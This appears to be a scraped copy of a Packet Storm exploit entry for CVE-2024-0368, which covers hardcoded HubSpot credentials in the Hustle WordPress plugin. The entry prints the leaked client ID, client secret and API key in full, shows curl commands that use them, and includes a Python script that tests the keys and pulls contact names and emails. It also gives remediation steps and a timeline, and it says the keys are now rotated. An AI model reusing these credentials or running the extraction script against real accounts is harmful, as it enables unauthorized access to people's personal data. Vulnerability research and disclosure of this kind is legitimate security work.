{“lastseen”:”2026-01-09T22:37:04″,”description”:”Hustle plugin versions 7.8.3 and below contain hardcoded HubSpot API credentials in inc\/providers\/hubspot\/hustle-hubspot-api.php…”,”published”:”2026-01-09T00:00:00″,”modified”:”2026-01-09T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Hustle Plugin 7.8.3 Hardcoded Credentials”,”source”:””,”references”:””,”id”:”PACKETSTORM:213677″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-0368″],”sourceData”:”# CVE-2024-0368\\n Hustle Plugin \\u0026lt;= 7.8.3 contains hardcoded HubSpot API credentials in inc\/providers\/hubspot\/hustle-hubspot-api.php\\n \\n \\n ## Vulnerability Summary\\n \\n | Field | Value |\\n |——-|——-|\\n | **CVE ID** | CVE-2024-0368 |\\n | **Title** | Hustle \\u003c= 7.8.3 – Sensitive Information Exposure via Exposed HubSpot API Keys |\\n | **CVSS Score** | 8.6 (High) |\\n | **Affected Plugin** | Hustle – Email Marketing, Lead Generation, Optins, Popups (`wordpress-popup`) |\\n | **Vulnerable Versions** | \\u003c= 7.8.3 |\\n | **Patched Version** | 7.8.4 |\\n | **Vulnerability Type** | CWE-200: Exposure of Sensitive Information |\\n \\n ## Technical Analysis\\n \\n ### Vulnerable Code Location\\n \\n **File:** `inc\/providers\/hubspot\/hustle-hubspot-api.php`\\n \\n “`php\\n class Hustle_HubSpot_Api extends Opt_In_WPMUDEV_API {\\n const CLIENT_ID = ‘5253e533-2dd2-48fd-b102-b92b8f250d1b’;\\n const CLIENT_SECRET = ‘2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca’;\\n const HAPIKEY = ‘db9600bf-648c-476c-be42-6621d7a1f96a’;\\n const BASE_URL = ‘https:\/\/app.hubspot.com\/’;\\n const API_URL = ‘https:\/\/api.hubapi.com\/’;\\n const SCOPE = ‘oauth crm.objects.contacts.write crm.lists.read crm.objects.contacts.read crm.schemas.contacts.write crm.schemas.contacts.read crm.lists.write’;\\n “`\\n \\n ### Exposed Credentials\\n \\n | Credential | Value | Purpose |\\n |————|——-|———|\\n | `CLIENT_ID` | `5253e533-2dd2-48fd-b102-b92b8f250d1b` | OAuth2 Application Identifier |\\n | `CLIENT_SECRET` | `2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca` | OAuth2 Client Secret |\\n | `HAPIKEY` | `db9600bf-648c-476c-be42-6621d7a1f96a` | HubSpot Legacy API Key |\\n \\n ### OAuth Scopes (Potential Access)\\n \\n The hardcoded OAuth configuration requested the following HubSpot scopes:\\n – `oauth` – OAuth authentication\\n – `crm.objects.contacts.write` – Create\/modify contacts\\n – `crm.objects.contacts.read` – Read contact information (PII)\\n – `crm.lists.read` – Read marketing lists\\n – `crm.lists.write` – Modify marketing lists\\n – `crm.schemas.contacts.write` – Modify contact schemas\\n – `crm.schemas.contacts.read` – Read contact schemas\\n \\n ## Vulnerability Explanation\\n \\n ### Root Cause\\n \\n WPMUDEV hardcoded their own HubSpot OAuth application credentials directly in the plugin source code. This is a violation of secure development practices as:\\n \\n 1. **Public Exposure**: WordPress plugins are open source – the code is publicly available on wordpress.org SVN repository\\n 2. **Mass Distribution**: The Hustle plugin has 100,000+ active installations\\n 3. **Shared Credentials**: All plugin installations share the same API credentials\\n \\n ### Attack Vector\\n \\n An attacker could:\\n 1. Download the vulnerable plugin from wordpress.org\\n 2. Extract the hardcoded credentials from the PHP source\\n 3. Use these credentials to authenticate to HubSpot’s API\\n 4. Access WPMUDEV’s HubSpot account and any data processed through their integration\\n \\n ### Potential Impact\\n \\n With valid credentials, an attacker could potentially:\\n – **Read PII**: Access contact information (names, emails, phone numbers, addresses)\\n – **Modify Data**: Create, update, or delete contacts in HubSpot\\n – **Marketing List Access**: View and manipulate marketing lists\\n – **Data Exfiltration**: Extract subscriber data from sites using Hustle + HubSpot integration\\n \\n ## Proof of Concept\\n \\n ### Step 1: Locate Vulnerable File\\n \\n “`bash\\n # From WordPress installation\\n cat wp-content\/plugins\/wordpress-popup\/inc\/providers\/hubspot\/hustle-hubspot-api.php | grep -A3 \\”const CLIENT\\”\\n “`\\n \\n **Output:**\\n “`php\\n const CLIENT_ID = ‘5253e533-2dd2-48fd-b102-b92b8f250d1b’;\\n const CLIENT_SECRET = ‘2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca’;\\n const HAPIKEY = ‘db9600bf-648c-476c-be42-6621d7a1f96a’;\\n “`\\n \\n ### Step 2: Test API Key Access (Contacts)\\n \\n “`bash\\n curl -X GET \\”https:\/\/api.hubapi.com\/crm\/v3\/objects\/contacts?hapikey=db9600bf-648c-476c-be42-6621d7a1f96a\\u0026limit=10\\”\\n “`\\n \\n **Note:** As of testing, the API key has been rotated\/expired (expected post-disclosure):\\n “`json\\n {\\n \\”status\\”: \\”error\\”,\\n \\”message\\”: \\”The API key used to make this call is expired.\\”,\\n \\”category\\”: \\”EXPIRED_AUTHENTICATION\\”\\n }\\n “`\\n \\n ### Step 3: Test OAuth Flow\\n \\n “`bash\\n curl -X POST \\”https:\/\/api.hubapi.com\/oauth\/v1\/token\\” \\\\\\n -H \\”Content-Type: application\/x-www-form-urlencoded\\” \\\\\\n -d \\”grant_type=client_credentials\\u0026client_id=5253e533-2dd2-48fd-b102-b92b8f250d1b\\u0026client_secret=2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca\\”\\n “`\\n \\n **Response:** Credentials have been invalidated.\\n \\n ## Exploitation Script (Python)\\n \\n “`python\\n #!\/usr\/bin\/env python3\\n \\”\\”\\”\\n CVE-2024-0368 – HubSpot API Key Exposure PoC\\n Hustle Plugin \\u003c= 7.8.3\\n \\n This script demonstrates the vulnerability by attempting to use\\n the exposed credentials to access HubSpot API.\\n \\n For authorized security testing only.\\n \\”\\”\\”\\n \\n import requests\\n import json\\n \\n # Hardcoded credentials from vulnerable plugin\\n CREDENTIALS = {\\n \\”client_id\\”: \\”5253e533-2dd2-48fd-b102-b92b8f250d1b\\”,\\n \\”client_secret\\”: \\”2ed54e79-6ceb-4fc6-96d9-58b4f98e6bca\\”,\\n \\”hapikey\\”: \\”db9600bf-648c-476c-be42-6621d7a1f96a\\”\\n }\\n \\n HUBSPOT_API = \\”https:\/\/api.hubapi.com\\”\\n \\n def test_api_key():\\n \\”\\”\\”Test if the leaked API key is still valid\\”\\”\\”\\n print(\\”[*] Testing HubSpot API Key…\\”)\\n \\n url = f\\”{HUBSPOT_API}\/crm\/v3\/objects\/contacts\\”\\n params = {\\”hapikey\\”: CREDENTIALS[\\”hapikey\\”], \\”limit\\”: 1}\\n \\n response = requests.get(url, params=params)\\n data = response.json()\\n \\n if response.status_code == 200:\\n print(\\”[+] API Key is VALID – Vulnerability Exploitable!\\”)\\n print(f\\”[+] Retrieved contact data: {json.dumps(data, indent=2)}\\”)\\n return True\\n else:\\n print(f\\”[-] API Key status: {data.get(‘message’, ‘Unknown error’)}\\”)\\n return False\\n \\n def test_oauth():\\n \\”\\”\\”Test OAuth client credentials\\”\\”\\”\\n print(\\”[*] Testing OAuth credentials…\\”)\\n \\n url = f\\”{HUBSPOT_API}\/oauth\/v1\/token\\”\\n data = {\\n \\”grant_type\\”: \\”client_credentials\\”,\\n \\”client_id\\”: CREDENTIALS[\\”client_id\\”],\\n \\”client_secret\\”: CREDENTIALS[\\”client_secret\\”]\\n }\\n \\n response = requests.post(url, data=data)\\n result = response.json()\\n \\n if \\”access_token\\” in result:\\n print(\\”[+] OAuth credentials VALID – Got access token!\\”)\\n return result[\\”access_token\\”]\\n else:\\n print(f\\”[-] OAuth status: {result.get(‘message’, ‘Invalid credentials’)}\\”)\\n return None\\n \\n def extract_contacts(api_key=None, access_token=None):\\n \\”\\”\\”Extract contacts if credentials are valid\\”\\”\\”\\n print(\\”[*] Attempting to extract contacts…\\”)\\n \\n url = f\\”{HUBSPOT_API}\/crm\/v3\/objects\/contacts\\”\\n headers = {}\\n params = {\\”limit\\”: 100}\\n \\n if access_token:\\n headers[\\”Authorization\\”] = f\\”Bearer {access_token}\\”\\n elif api_key:\\n params[\\”hapikey\\”] = api_key\\n \\n response = requests.get(url, headers=headers, params=params)\\n \\n if response.status_code == 200:\\n contacts = response.json()\\n print(f\\”[+] Successfully extracted {len(contacts.get(‘results’, []))} contacts\\”)\\n for contact in contacts.get(\\”results\\”, [])[:5]:\\n props = contact.get(\\”properties\\”, {})\\n print(f\\” – {props.get(’email’, ‘N\/A’)} | {props.get(‘firstname’, ”)} {props.get(‘lastname’, ”)}\\”)\\n return contacts\\n \\n return None\\n \\n if __name__ == \\”__main__\\”:\\n print(\\”=\\” * 60)\\n print(\\”CVE-2024-0368 – Hustle Plugin HubSpot API Key Exposure\\”)\\n print(\\”=\\” * 60)\\n print()\\n \\n # Test leaked credentials\\n api_valid = test_api_key()\\n access_token = test_oauth()\\n \\n print()\\n if api_valid or access_token:\\n print(\\”[!] VULNERABILITY CONFIRMED – Credentials are still active!\\”)\\n extract_contacts(\\n api_key=CREDENTIALS[\\”hapikey\\”] if api_valid else None,\\n access_token=access_token\\n )\\n else:\\n print(\\”[*] Credentials have been rotated (expected post-disclosure)\\”)\\n print(\\”[*] Vulnerability exists in code – credentials were exposed\\”)\\n \\n print()\\n print(\\”=\\” * 60)\\n “`\\n \\n ## Verification Results\\n \\n **Environment:**\\n – WordPress: Running on Docker\\n – Plugin Version: 7.8.2 (Vulnerable)\\n – Vulnerable File: Confirmed present with hardcoded credentials\\n \\n **Credential Status:**\\n – API Key (`HAPIKEY`): Expired\/Rotated (post-disclosure)\\n – OAuth Credentials: Invalidated (post-disclosure)\\n \\n **Conclusion:** The vulnerability is **confirmed** – the hardcoded credentials exist in the source code and were previously exploitable. WPMUDEV has rotated the credentials following responsible disclosure.\\n \\n ## Remediation\\n \\n ### Vendor Fix (v7.8.4+)\\n \\n The patch removes hardcoded credentials and implements proper credential storage:\\n – Credentials moved to database\/environment configuration\\n – Users must now configure their own HubSpot API credentials\\n – No shared credentials between installations\\n \\n ### User Recommendations\\n \\n 1. **Update Immediately**: Upgrade to Hustle 7.8.4 or later\\n 2. **Reconfigure HubSpot**: Set up HubSpot integration with your own credentials\\n 3. **Audit Access Logs**: Check HubSpot for unauthorized API access during the vulnerable period\\n \\n ## Timeline\\n \\n | Date | Event |\\n |——|——-|\\n | 2024-01-05 | CVE-2024-0368 Published |\\n | 2024-03-08 | Patch released in version 7.8.4 |\\n | Post-disclosure | Credentials rotated by WPMUDEV |\\n \\n ## References\\n \\n – [Wordfence Advisory](https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/id\/e6d40b41-540d-476d-afde-970845543933)\\n – [WordPress Plugin Changeset](https:\/\/plugins.trac.wordpress.org\/changeset\/3047775\/wordpress-popup)\\n – [HubSpot API Documentation](https:\/\/developers.hubspot.com\/docs\/api)\\n – [NVD Entry](https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2024-0368)\\n \\n —\\n *Generated for authorized security research purposes*”,”sourceHref”:”https:\/\/packetstorm.news\/download\/213677″,”cvss”:{“score”:8.6,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:C\/C:H\/I:N\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/213677\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-01-09T22:37:04″,”description”:”Hustle plugin versions 7.8.3 and below contain hardcoded HubSpot API credentials in inc\/providers\/hubspot\/hustle-hubspot-api.php…”,”published”:”2026-01-09T00:00:00″,”modified”:”2026-01-09T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Hustle Plugin 7.8.3 Hardcoded Credentials”,”source”:””,”references”:””,”id”:”PACKETSTORM:213677″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2024-0368″],”sourceData”:”# CVE-2024-0368\\n Hustle Plugin \\u0026lt;= 7.8.3 contains hardcoded…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,81,12,15,13,53,7,11,5],"class_list":["post-34965","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-86","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n